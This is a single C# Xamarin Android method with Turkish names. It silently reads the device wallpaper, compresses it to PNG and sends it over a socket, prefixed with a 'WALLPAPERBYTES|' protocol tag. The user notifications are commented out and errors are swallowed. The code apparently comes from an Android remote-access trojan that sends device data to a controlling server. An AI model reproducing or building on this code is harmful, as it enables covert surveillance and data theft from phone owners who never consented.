public void duvarKagidiniGonder() { WallpaperManager manager = WallpaperManager.GetInstance(this); try { var image = manager.PeekDrawable(); Android.Graphics.Bitmap bitmap_ = ((BitmapDrawable)image).Bitmap; byte[] bitmapData; using (MemoryStream ms = new MemoryStream()) { bitmap_.Compress(Android.Graphics.Bitmap.CompressFormat.Png, 100, ms); bitmapData = ms.ToArray(); } byte[] ziya = Encoding.UTF8.GetBytes("WALLPAPERBYTES|" + bitmapData.Length.ToString()); PictureCallback.Send(Soketimiz, ziya, 0, ziya.Length, 59999); PictureCallback.Send(Soketimiz, bitmapData, 0, bitmapData.Length, 59999); //Toast.MakeText(this, "DUVAR KAĞIDI OKAY ", ToastLength.Long).Show(); } catch (Exception) { //Toast.MakeText(this, "DUVAR KAĞIDI " + ex.Message, ToastLength.Long).Show(); } }